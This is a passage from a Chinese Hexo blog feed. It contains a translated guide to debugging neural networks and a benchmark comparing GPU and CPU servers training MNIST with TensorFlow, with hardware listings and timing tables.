&lt;p&gt;原理：在Hexo生成首页HTML时，将top值高的文章排在前面，达到置顶功能。&lt;/p&gt;
&lt;p&gt;修改Hexo文件夹下的&lt;code&gt;node_modules/hexo-generator-index/lib/generator.js&lt;/code&gt;，在生成文章之前进行文章top值排序。&lt;/p&gt;
    
    </summary>
    
      <category term="Tool" scheme="http://zhwhong.cn/categories/Tool/"/>
    
    
      <category term="Hexo" scheme="http://zhwhong.cn/tags/Hexo/"/>
    
  </entry>
  
  <entry>
    <title>[译] Introduction to debugging neural networks</title>
    <link href="http://zhwhong.cn/2017/03/20/Introduction-to-debugging-neural-networks/"/>
    <id>http://zhwhong.cn/2017/03/20/Introduction-to-debugging-neural-networks/</id>
    <published>2017-03-19T16:08:22.000Z</published>
    <updated>2017-03-25T07:48:00.346Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><ul><li>本文译自：<a href="http://russellsstewart.com/" target="_blank" rel="external">Russell Stewart’s Blog</a> -&gt; <a href="http://russellsstewart.com/blog/0" target="_blank" rel="external">Introduction to debugging neural networks</a></li></ul><p><img src="http://upload-images.jianshu.io/upload_images/145616-1b69d26b7f4bb783.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="neural network"></p><a id="more"></a><blockquote><h1 id="题目：调试神经网络简介"><a href="#题目：调试神经网络简介" class="headerlink" title="题目：调试神经网络简介"></a>题目：调试神经网络简介</h1></blockquote><p>以下建议主要针对神经网络的初学者，它是基于我的经验对工业界和斯坦福的神经网络新手给出的建议。神经网基本上比大多数程序更难调试，因为大多数神经网络错误不会导致<strong>类型错误</strong>或<strong>运行时间错误</strong>。他们只是导致神经网络<strong>难以收敛</strong>。特别是当你刚接触这个的时候，它可能会让你非常沮丧！但是一个有经验的神经网络训练者将能够系统地克服这些困难，尽管存在着大量似是而非的错误消息：性能错误：你的神经网络没有训练好。对于缺乏经验的人来说，这种信息是令人生畏的。但对有经验的，这是一个非常好的错误信息。这意味着样板代码已经偏离了正确道路，是时候去深挖一下原因了！</p><h1 id="如何应对NaN"><a href="#如何应对NaN" class="headerlink" title="如何应对NaN"></a>如何应对NaN</h1><p>到目前为止，我从学生那里得到的最常见的第一个问题是，“<strong>为什么我出现了 NaNs ？</strong>”。有时候，这个问题的答案很复杂。但大多数情况是，NaNs 在前100轮迭代中就出现了，这时候这个答案就非常简单：<strong>你的学习率设置的太高了</strong>。当学习率非常高时，在训练的前100轮迭代中就会出现NaNs。尝试不断的把学习率除以3，直到在前100轮迭代中不再出现NaNs。一旦这样做起作用了，你就会得到一个很好的初始学习率。根据我的经验，最好的有效学习率一般在你得到NaNs的学习率的1-10倍以下。</p><p>如果你是在超过100轮迭代之后才出现的NaNs，还有2个其他的常见原因。<strong> 1）</strong> 如果你训练的是RNN，请确保使用的是“梯度剪裁（<a href="https://www.zhihu.com/question/29873016/answer/77647103" target="_blank" rel="external"><strong>clip gradient</strong></a> ）”，这可以把全局的梯度二范数(L2)限制在一定的范围内。RNN倾向于在训练早期产生梯度，其中10%或者更少的batch会出现学习尖峰，这些尖峰上的梯度值非常大。如果没有限制幅度，这些尖峰就可能导致NaNs。 <strong>2）</strong> 如果你自己编写了任何自定义的layer，那么这个问题很可能是由这些自定义的layer中一些除零错误引发的。还有一个众所周知的产生NaNs的layer就是softmax层。 softmax的计算在分子和分母中都含有指数函数exp(x)，当inf除以inf时就可能会产生NaNs。所以要确保你使用的是一个稳定版本的softmax实现。</p><h1 id="当神经网络不再学习的时候怎么办"><a href="#当神经网络不再学习的时候怎么办" class="headerlink" title="当神经网络不再学习的时候怎么办"></a>当神经网络不再学习的时候怎么办</h1><p>当你不再碰到NaNs的时候，很可能就会遇到这样一种情况，你的网络顺利地训练了几千轮，但是训练的loss值却在前几百个回合后不再减小。如果你是初次构建代码库的话，基本上不会说需要等待超过2000轮迭代。这不是因为所有网络都能在2000次迭代内开始学习，而是因为你在编码中引入bug的几率很高，与其等待长时间的迭代，不如早早的进入调试模式。现在你应该不断缩小问题的范围，直到你的网络可以在2000次迭代内开始学习。幸运的是，有2个不错的维度来降低复杂度：</p><p><strong>1）把训练集的样本量减小到10。</strong> 任何一个可用的网络通常都能在几百次迭代后过拟合十个样本。但是很多编码bug则会阻止这种情况发生。如果你的网络仍然不能过度拟合训练集的10个样本，请再次确认数据和标签是否是正确对应的。尝试将batch size设为1来检查batch计算中的错误。在代码中加入一些log输出以确保是以你期望的方式运行的。一般来说，通过暴力排查总会找到这些错误。一旦网络可以拟合10个样本了，继续尝试拟合100个。如果现在可以正常训练了但不如预期，则可以进入下一步了。</p><p><strong>2）解决你感兴趣的问题的最简单版本。</strong> 如果你正在做句子翻译，尝试首先为目标语言构建一个语言模型。当上一步成功了，只给出三个源语言的单词，尝试着去预测翻译的第一个词。如果你打算从图像中检测物体，训练回归网络之前试着去分类图像中有多少个物体。在获得一个确保网络可以解决的好的子问题，以及花费最少的时间来使用代码挂接数据之间存在着平衡点。创造力可以起到帮助作用。</p><p>为一个新的想法扩展网络的小技巧就是慢慢地缩小上述两步中所做的简化。这是坐标上升法的一种形式，而且十分有用。一开始，你可以证明这个网络可以记住少量的样本，然后可以证明它在一个简化版的子问题中可以在验证集上具有泛化能力。慢慢提升难度，稳步前进。这并不像第一次Karpathy的风格那么有趣，但至少它是有用的。有些时候你会发现有些问题本身十分困难，难以在2000次迭代内完成学习。这很棒！但是它很少需要以前那种难度级别问题迭代次数的十倍以上。如果真需要这么多次迭代，可以尝试寻找一个中间的复杂度。</p><h1 id="调整超参数"><a href="#调整超参数" class="headerlink" title="调整超参数"></a>调整超参数</h1><p>既然你的网络现在开始学习东西了，你可能觉得很好。但你可能发现它不能解决这个问题中最困难的版本。超参数的调整就是其中的关键。也许有人仅仅下载了一个CNN包然后在上面跑自己的数据集，并告诉你超参数的调整并不会带来改变。你要认识到他们在用已有的框架解决已有的问题。如果你在使用新架构解决新问题，则必须调试超参数来获得一个良好的配置。你最好是为你的特定问题阅读一个超参数教程，但为了完整性我会在这里列出一些基本的想法：</p><ul><li><strong>可视化是关键</strong>。不要害怕花时间在整个训练过程中去写一些好用的可视化工具。如果你的可视化方法还是简单观察终端中的loss值变化，那你该考虑一下升级了。</li><li><strong>权值初始化很重要</strong>。一般来说，大一点幅度的初始权值会好一些，但太大了就会导致NaNs。因此初始权值需要和学习率一起调整。</li><li><strong>确保权值看起来是“健康的”</strong>。要了解这是什么意思，我推荐用ipython notebook打开现有网络的权值。花一些时间来熟悉在标准数据集（如ImageNet或Penn Tree Bank）上训练的成熟网络中的组件的权值直方图应该是什么样子。</li><li><strong>神经网络不是输入尺度不变的</strong>，尤其当它使用SGD训练而不是其他的二阶方法训练时，因为SGD不是一个尺度不变的方法。在确定缩放尺度之前，花点时间来尝试多次缩放输入数据和输出标签。</li><li><strong>在训练结束之前减小学习率总能带来提升</strong>。最佳的decay策略是：在k个epoch后，每n个epoch之后将学习率除以1.5，其中k &gt; n。</li><li><strong>使用超参数配置文件</strong>。虽然在你开始尝试不同的值之前把超参数放在代码中也是ok的。我通过命令行参数加载的方式使用json文件，就像 <a href="https://github.com/Russell91/tensorbox" target="_blank" rel="external">Russell91/TensorBox</a> 中一样，但是具体的形式并不重要。避免总是要去重构你的代码，因为那将是超参数加载的糟糕问题。重构引入了bugs，花费你的训练周期，这种情况能够被避免直到你有一个你觉得不错的网络。</li><li><strong>随机的搜索超参数</strong>，如果可以的话。随机搜索可以产生你想不到的超参数组合， 并且能减少很大工作量一旦你已经训练形成了对于给定超参数会带来什么样的影响的直觉。</li></ul><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>调试神经网络可能比调试传统程序更费精力，因为几乎所有错误都被投射到整个网络表现的单一维度。尽管如此，二分查找仍然起作用。通过交替<strong>1）调整问题的难度</strong>，和<strong>2）使用少量的训练样本</strong>，你可以快速解决最初的问题。然后超参数调整和长时间的等待就可以解决你剩下的问题了。</p><hr><p>(转载请联系作者并注明出处，谢谢！)</p>]]></content>
    
    <summary type="html">
    
      本文译自Russell Stewart的博客文章《Introduction to debugging neural networks》，主要针对神经网络的初学者，给出一些调试网络的经验方法，学会如何根据错误来发现问题所在。比如如何处理参数NaN问题，当神经网络不再学习的时候该怎么办，如何调整网络的超参数等。
    
    </summary>
    
      <category term="Machine Learning" scheme="http://zhwhong.cn/categories/Machine-Learning/"/>
    
    
      <category term="Deep Learning" scheme="http://zhwhong.cn/tags/Deep-Learning/"/>
    
      <category term="Neural Network" scheme="http://zhwhong.cn/tags/Neural-Network/"/>
    
      <category term="Debug" scheme="http://zhwhong.cn/tags/Debug/"/>
    
  </entry>
  
  <entry>
    <title>GPU和CPU服务器测试mnist手写数字集</title>
    <link href="http://zhwhong.cn/2017/03/13/mnist-gpu-cpu/"/>
    <id>http://zhwhong.cn/2017/03/13/mnist-gpu-cpu/</id>
    <published>2017-03-13T10:22:15.000Z</published>
    <updated>2017-04-26T08:24:36.683Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><h1 id="一、GPU服务器"><a href="#一、GPU服务器" class="headerlink" title="一、GPU服务器"></a>一、GPU服务器</h1><p>服务器 IP ：<code>172.xx.xx.98</code> （4块NVIDIA <strong>TITAN X</strong> GPU，<strong>32</strong> CPU核心）</p><a id="more"></a><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div></pre></td><td class="code"><pre><div class="line">zhwhong@news-ai:~$ nvidia-smi</div><div class="line">Mon Mar 13 14:30:39 2017       </div><div class="line">+-----------------------------------------------------------------------------+</div><div class="line">| NVIDIA-SMI 367.48                 Driver Version: 367.48                    |</div><div class="line">|-------------------------------+----------------------+----------------------+</div><div class="line">| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |</div><div class="line">| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |</div><div class="line">|===============================+======================+======================|</div><div class="line">|   0  GeForce GTX TIT...  Off  | 0000:01:00.0     Off |                  N/A |</div><div class="line">| 22%   53C    P0    69W / 250W |      0MiB / 12206MiB |      0%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line">|   1  GeForce GTX TIT...  Off  | 0000:02:00.0     Off |                  N/A |</div><div class="line">| 22%   57C    P0    72W / 250W |      0MiB / 12206MiB |      0%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line">|   2  GeForce GTX TIT...  Off  | 0000:82:00.0     Off |                  N/A |</div><div class="line">| 22%   57C    P0    73W / 250W |      0MiB / 12206MiB |      0%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line">|   3  GeForce GTX TIT...  Off  | 0000:83:00.0     Off |                  N/A |</div><div class="line">|  0%   53C    P0    60W / 250W |      0MiB / 12206MiB |      0%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line"></div><div class="line">+-----------------------------------------------------------------------------+</div><div class="line">| Processes:                                                       GPU Memory |</div><div class="line">|  GPU       PID  Type  Process name                               Usage      |</div><div class="line">|=============================================================================|</div><div class="line">|  No running processes found                                                 |</div><div class="line">+-----------------------------------------------------------------------------+</div></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div></pre></td><td class="code"><pre><div class="line">zhwhong@news-ai:~$ lscpu</div><div class="line">Architecture:          x86_64</div><div class="line">CPU op-mode(s):        32-bit, 64-bit</div><div class="line">Byte Order:            Little Endian</div><div class="line">CPU(s):                32</div><div class="line">On-line CPU(s) list:   0-31</div><div class="line">Thread(s) per core:    2</div><div class="line">Core(s) per socket:    8</div><div class="line">Socket(s):             2</div><div class="line">NUMA node(s):          2</div><div class="line">Vendor ID:             GenuineIntel</div><div class="line">CPU family:            6</div><div class="line">Model:                 63</div><div class="line">Stepping:              2</div><div class="line">CPU MHz:               1201.218</div><div class="line">BogoMIPS:              4800.94</div><div class="line">Virtualization:        VT-x</div><div class="line">L1d cache:             32K</div><div class="line">L1i cache:             32K</div><div class="line">L2 cache:              256K</div><div class="line">L3 cache:              20480K</div><div class="line">NUMA node0 CPU(s):     0-7,16-23</div><div class="line">NUMA node1 CPU(s):     8-15,24-31</div></pre></td></tr></table></figure><p>使用 <code>cat /proc/cpuinfo</code>  命令可以查看每一个cpu核详细信息.</p><h1 id="二、CPU服务器"><a href="#二、CPU服务器" class="headerlink" title="二、CPU服务器"></a>二、CPU服务器</h1><p>服务器 IP ：<code>113.xx.xxx.196</code> （纯CPU服务器，<strong>128核</strong>）</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div></pre></td><td class="code"><pre><div class="line">mye@ubuntu:~$ lscpu</div><div class="line">Architecture:          x86_64</div><div class="line">CPU op-mode(s):        32-bit, 64-bit</div><div class="line">Byte Order:            Little Endian</div><div class="line">CPU(s):                128</div><div class="line">On-line CPU(s) list:   0-127</div><div class="line">Thread(s) per core:    1</div><div class="line">Core(s) per socket:    16</div><div class="line">Socket(s):             8</div><div class="line">NUMA node(s):          8</div><div class="line">Vendor ID:             GenuineIntel</div><div class="line">CPU family:            6</div><div class="line">Model:                 63</div><div class="line">Stepping:              4</div><div class="line">CPU MHz:               1200.031</div><div class="line">BogoMIPS:              4396.82</div><div class="line">Virtualization:        VT-x</div><div class="line">L1d cache:             32K</div><div class="line">L1i cache:             32K</div><div class="line">L2 cache:              256K</div><div class="line">L3 cache:              40960K</div><div class="line">NUMA node0 CPU(s):     0-15</div><div class="line">NUMA node1 CPU(s):     16-31</div><div class="line">NUMA node2 CPU(s):     32-47</div><div class="line">NUMA node3 CPU(s):     48-63</div><div class="line">NUMA node4 CPU(s):     64-79</div><div class="line">NUMA node5 CPU(s):     80-95</div><div class="line">NUMA node6 CPU(s):     96-111</div><div class="line">NUMA node7 CPU(s):     112-127</div></pre></td></tr></table></figure><p>使用 <code>cat /proc/cpuinfo</code>  命令可以查看每一个cpu核详细信息.</p><h1 id="三、mnist测试"><a href="#三、mnist测试" class="headerlink" title="三、mnist测试"></a>三、mnist测试</h1><ul><li>测试代码： <a href="https://github.com/zhwhong/awesome-deep-learning/tree/master/TensorFlow-Tutorials" target="_blank" rel="external"><strong>zhwhong/awesome-deep-learning/TensorFlow-Tutorials</strong></a></li></ul><h2 id="1-逻辑回归logistic测试"><a href="#1-逻辑回归logistic测试" class="headerlink" title="(1)逻辑回归logistic测试"></a>(1)逻辑回归logistic测试</h2><p>Example: <a href="https://github.com/zhwhong/awesome-deep-learning/blob/master/TensorFlow-Tutorials/02_logistic_regression.py" target="_blank" rel="external"><strong>02_logistic_regression.py</strong></a></p><p>测试结果：</p><h3 id="a-batch-size-128"><a href="#a-batch-size-128" class="headerlink" title="a.batch_size : 128"></a>a.batch_size : 128</h3><table><thead><tr><th style="text-align:center">—</th><th style="text-align:center">GPU</th><th style="text-align:center">CPU</th></tr></thead><tbody><tr><td style="text-align:center">top信息</td><td style="text-align:center">%CPU：244.2</td><td style="text-align:center">%CPU：472</td></tr><tr><td style="text-align:center">nvidia-smi信息</td><td style="text-align:center">20%左右</td><td style="text-align:center">无</td></tr><tr><td style="text-align:center">mnist运行结果</td><td style="text-align:center">(99, 0.9234, <br> datetime.timedelta(0, 68, 913616)) <br> <strong>统计：68s/100轮</strong></td><td style="text-align:center">(99, 0.92330000000000001, <br> datetime.timedelta(0, 101, 424780)) <br> <strong>统计：101s/100轮</strong></td></tr></tbody></table><h3 id="b-batch-size-256"><a href="#b-batch-size-256" class="headerlink" title="b.batch_size : 256"></a>b.batch_size : 256</h3><table><thead><tr><th style="text-align:center">—</th><th style="text-align:center">GPU</th><th style="text-align:center">CPU</th></tr></thead><tbody><tr><td style="text-align:center">top信息</td><td style="text-align:center">%CPU：214.1</td><td style="text-align:center">%CPU：781.1</td></tr><tr><td style="text-align:center">nvidia-smi信息</td><td style="text-align:center">24%左右</td><td style="text-align:center">无</td></tr><tr><td style="text-align:center">mnist运行结果</td><td style="text-align:center">(99, 0.92290000000000005, datetime.timedelta(0, 45, 724627)) <br> <strong>统计：45s/100轮</strong></td><td style="text-align:center">(99, 0.92300000000000004, <br> datetime.timedelta(0, 79, 207202)) <br> <strong>统计：79s/100轮</strong></td></tr></tbody></table><h3 id="c-batch-size-512"><a href="#c-batch-size-512" class="headerlink" title="c.batch_size : 512"></a>c.batch_size : 512</h3><table><thead><tr><th style="text-align:center">—</th><th style="text-align:center">GPU</th><th style="text-align:center">CPU</th></tr></thead><tbody><tr><td style="text-align:center">top信息</td><td style="text-align:center">%CPU：203.2</td><td style="text-align:center">%CPU：1031</td></tr><tr><td style="text-align:center">nvidia-smi信息</td><td style="text-align:center">29%左右</td><td style="text-align:center">无</td></tr><tr><td style="text-align:center">mnist运行结果</td><td style="text-align:center">(99, 0.92000000000000004, datetime.timedelta(0, 30, 479467)) <br> <strong>统计：30s/100轮</strong></td><td style="text-align:center">(99, 0.92010000000000003,  <br> datetime.timedelta(0, 66, 738092)) <br> <strong>统计：66秒/100轮</strong></td></tr></tbody></table><p><strong>GPU运行结果：</strong></p><p><img src="logistic_gpu_1.png" alt=""></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div></pre></td><td class="code"><pre><div class="line">zhwhong@news-ai:~/MNIST_test$ nvidia-smi</div><div class="line">Mon Mar 13 15:13:32 2017       </div><div class="line">+-----------------------------------------------------------------------------+</div><div class="line">| NVIDIA-SMI 367.48                 Driver Version: 367.48                    |</div><div class="line">|-------------------------------+----------------------+----------------------+</div><div class="line">| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |</div><div class="line">| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |</div><div class="line">|===============================+======================+======================|</div><div class="line">|   0  GeForce GTX TIT...  Off  | 0000:01:00.0     Off |                  N/A |</div><div class="line">| 22%   57C    P2    70W / 250W |  11664MiB / 12206MiB |     29%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line">|   1  GeForce GTX TIT...  Off  | 0000:02:00.0     Off |                  N/A |</div><div class="line">| 22%   58C    P2    71W / 250W |  11603MiB / 12206MiB |      0%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line">|   2  GeForce GTX TIT...  Off  | 0000:82:00.0     Off |                  N/A |</div><div class="line">| 22%   57C    P2    71W / 250W |  11603MiB / 12206MiB |      0%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line">|   3  GeForce GTX TIT...  Off  | 0000:83:00.0     Off |                  N/A |</div><div class="line">| 22%   55C    P2    75W / 250W |  11601MiB / 12206MiB |      0%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line"></div><div class="line">+-----------------------------------------------------------------------------+</div><div class="line">| Processes:                                                       GPU Memory |</div><div class="line">|  GPU       PID  Type  Process name                               Usage      |</div><div class="line">|=============================================================================|</div><div class="line">|    0     28564    C   python                                       11660MiB |</div><div class="line">|    1     28564    C   python                                       11599MiB |</div><div class="line">|    2     28564    C   python                                       11599MiB |</div><div class="line">|    3     28564    C   python                                       11597MiB |</div><div class="line">+-----------------------------------------------------------------------------+</div></pre></td></tr></table></figure><p><img src="logistic_gpu_2.png" alt=""></p><p><strong>CPU运行结果：</strong></p><p><img src="logistic_cpu_1.png" alt=""></p><p><img src="logistic_cpu_2.png" alt=""></p><h2 id="2-卷积神经网络conv测试"><a href="#2-卷积神经网络conv测试" class="headerlink" title="(2)卷积神经网络conv测试"></a>(2)卷积神经网络conv测试</h2><p>Example : <a href="https://github.com/zhwhong/awesome-deep-learning/blob/master/TensorFlow-Tutorials/05_convolutional_net.py" target="_blank" rel="external"><strong>05_convolutional_net.py</strong></a></p><p>测试结果：</p><h3 id="a-batch-size-128-1"><a href="#a-batch-size-128-1" class="headerlink" title="a.batch_size : 128"></a>a.batch_size : 128</h3><table><thead><tr><th style="text-align:center">—</th><th style="text-align:left">GPU</th><th style="text-align:left">CPU</th></tr></thead><tbody><tr><td style="text-align:center">top信息</td><td style="text-align:left">%CPU：141.9</td><td style="text-align:left">%CPU：5224.3</td></tr><tr><td style="text-align:center">nvidia-smi信息</td><td style="text-align:left">75%左右</td><td style="text-align:left">无</td></tr><tr><td style="text-align:center">mnist运行结果</td><td style="text-align:left">(0, 0.93359375, 4, 230888) <br> (1, 0.984375, 7, 929353) <br> (2, 0.97265625, 11, 635471) <br> (3, 0.98828125, 15, 310449) <br> (4, 0.9921875, 19, 3371) <br> (5, 0.98828125, 22, 720680) <br> (6, 1.0, 26, 384165) <br> (7, 0.99609375, 30, 88245) <br> …… <br> (99, 0.9921875, 370, 693523) <br> <strong>平均：3.7s/轮</strong></td><td style="text-align:left">(0, 0.95703125,  54, 907580) <br> (1, 0.98046875, 111, 935452) <br> (2, 0.98828125, 169, 417860) <br> (3, 0.98046875, 227, 60819) <br> (4, 0.9921875, 284, 513000) <br> (5, 0.98828125, 342, 273721) <br> (6, 0.9921875, 399, 981951) <br> (7, 0.984375, 458, 23667) <br> (8, 0.99609375, 516, 282659) <br> …… <br> <strong>平均：57s/轮</strong></td></tr></tbody></table><h3 id="b-batch-size-256-1"><a href="#b-batch-size-256-1" class="headerlink" title="b.batch_size : 256"></a>b.batch_size : 256</h3><table><thead><tr><th style="text-align:center">—</th><th style="text-align:left">GPU</th><th style="text-align:left">CPU</th></tr></thead><tbody><tr><td style="text-align:center">top信息</td><td style="text-align:left">%CPU：114.4</td><td style="text-align:left">%CPU：5746</td></tr><tr><td style="text-align:center">nvidia-smi信息</td><td style="text-align:left">82%左右</td><td style="text-align:left">无</td></tr><tr><td style="text-align:center">mnist运行结果</td><td style="text-align:left">(0, 0.6796875, 3, 563670) <br> (1, 0.9609375, 6, 565172) <br> (2, 0.96875, 9, 520787) <br> (3, 0.98828125, 12, 552352) <br> (4, 0.9921875, 15, 509898) <br> (5, 0.984375, 18, 508712) <br> (6, 0.9921875, 21, 465722) <br> …… <br> (99, 1.0, 301, 239776) <br> <strong>平均：3s/轮</strong></td><td style="text-align:left">(0, 0.69921875, 37, 712726) <br> (1, 0.97265625, 75, 387519) <br> (2, 0.984375, 113, 36748) <br> (3, 0.98828125, 150, 694555) <br> (4, 0.98828125, 188, 393595) <br> (5, 0.984375, 225, 962947) <br> (6, 0.98046875, 263, 551988) <br> (7, 0.9921875, 301, 107670) <br> …… <br> <strong>平均：37s/轮</strong></td></tr></tbody></table><h3 id="c-batch-size-512-1"><a href="#c-batch-size-512-1" class="headerlink" title="c.batch_size : 512"></a>c.batch_size : 512</h3><table><thead><tr><th style="text-align:center">—</th><th style="text-align:left">GPU</th><th style="text-align:left">CPU</th></tr></thead><tbody><tr><td style="text-align:center">top信息</td><td style="text-align:left">%CPU：98.5</td><td style="text-align:left">%CPU：5994</td></tr><tr><td style="text-align:center">nvidia-smi信息</td><td style="text-align:left">90%左右</td><td style="text-align:left">无</td></tr><tr><td style="text-align:center">mnist运行结果</td><td style="text-align:left">(0, 0.09375, 3, 358815) <br> (1, 0.52734375, 5, 918648) <br> (2, 0.91796875, 8, 488475) <br> (3, 0.9296875, 11, 35129) <br> (4, 0.98046875, 13, 605235) <br> (5, 0.96875, 16, 148614) <br> (6, 0.984375, 18, 715051) <br> (7, 0.9765625, 21, 281468) <br> (8, 0.9921875, 23, 854374) <br> …… <br> (99, 1.0, 263, 28433) <br> <strong>平均：2.63s/轮</strong></td><td style="text-align:left">(0, 0.08203125, 31, 125486) <br> (1, 0.796875, 62, 543181) <br> (2, 0.91015625, 94, 522874) <br> (3, 0.9609375, 126, 946088) <br> (4, 0.96484375, 159, 929706) <br> (5, 0.95703125, 193, 230872) <br> (6, 0.9921875, 226, 695604) <br> (7, 0.98828125, 260, 43828) <br> (8, 0.9921875, 293, 214191) <br> (9, 0.99609375, 326, 797200) <br> …… <br> <strong>平均：32.6s/轮</strong></td></tr></tbody></table><p><strong>GPU运行结果：</strong></p><p><img src="conv_gpu_1.png" alt=""></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div></pre></td><td class="code"><pre><div class="line">zhwhong@news-ai:~/MNIST_test$ nvidia-smi</div><div class="line">Mon Mar 13 15:44:49 2017       </div><div class="line">+-----------------------------------------------------------------------------+</div><div class="line">| NVIDIA-SMI 367.48                 Driver Version: 367.48                    |</div><div class="line">|-------------------------------+----------------------+----------------------+</div><div class="line">| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |</div><div class="line">| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |</div><div class="line">|===============================+======================+======================|</div><div class="line">|   0  GeForce GTX TIT...  Off  | 0000:01:00.0     Off |                  N/A |</div><div class="line">| 27%   70C    P2   192W / 250W |  11713MiB / 12206MiB |     90%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line">|   1  GeForce GTX TIT...  Off  | 0000:02:00.0     Off |                  N/A |</div><div class="line">| 22%   53C    P2    70W / 250W |  11603MiB / 12206MiB |      0%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line">|   2  GeForce GTX TIT...  Off  | 0000:82:00.0     Off |                  N/A |</div><div class="line">| 22%   45C    P2    69W / 250W |  11627MiB / 12206MiB |      0%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line">|   3  GeForce GTX TIT...  Off  | 0000:83:00.0     Off |                  N/A |</div><div class="line">| 22%   52C    P5    22W / 250W |  11601MiB / 12206MiB |      0%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line"></div><div class="line">+-----------------------------------------------------------------------------+</div><div class="line">| Processes:                                                       GPU Memory |</div><div class="line">|  GPU       PID  Type  Process name                               Usage      |</div><div class="line">|=============================================================================|</div><div class="line">|    0      9587    C   python                                       11709MiB |</div><div class="line">|    1      9587    C   python                                       11599MiB |</div><div class="line">|    2      1552    C   python                                         506MiB |</div><div class="line">|    2      9587    C   python                                       11117MiB |</div><div class="line">|    3      9587    C   python                                       11597MiB |</div><div class="line">+-----------------------------------------------------------------------------+</div></pre></td></tr></table></figure><p><img src="conv_gpu_2.png" alt=""></p><p><strong>CPU运行结果：</strong></p><p><img src="conv_cpu_1.png" alt=""></p><p><img src="conv_cpu_2.png" alt=""></p><h2 id="3-循环神经网络lstm测试"><a href="#3-循环神经网络lstm测试" class="headerlink" title="(3)循环神经网络lstm测试"></a>(3)循环神经网络lstm测试</h2><p>Example : <a href="https://github.com/zhwhong/awesome-deep-learning/blob/master/TensorFlow-Tutorials/07_lstm.py" target="_blank" rel="external"><strong>07_lstm.py</strong></a></p><p>测试结果：</p><h3 id="batch-size-512"><a href="#batch-size-512" class="headerlink" title="batch_size : 512"></a>batch_size : 512</h3><table><thead><tr><th style="text-align:center">—</th><th style="text-align:left">GPU</th><th style="text-align:left">CPU</th></tr></thead><tbody><tr><td style="text-align:center">top信息</td><td style="text-align:left">%CPU：123.4</td><td style="text-align:left">%CPU：818.4</td></tr><tr><td style="text-align:center">nvidia-smi信息</td><td style="text-align:left">40%左右</td><td style="text-align:left">无</td></tr><tr><td style="text-align:center">mnist运行结果</td><td style="text-align:left">(0, 0.26953125, 2, 390310) <br> (1, 0.37890625, 4, 420676) <br> (2, 0.68359375, 6, 385682) <br> (3, 0.7421875, 8, 494356) <br> (4, 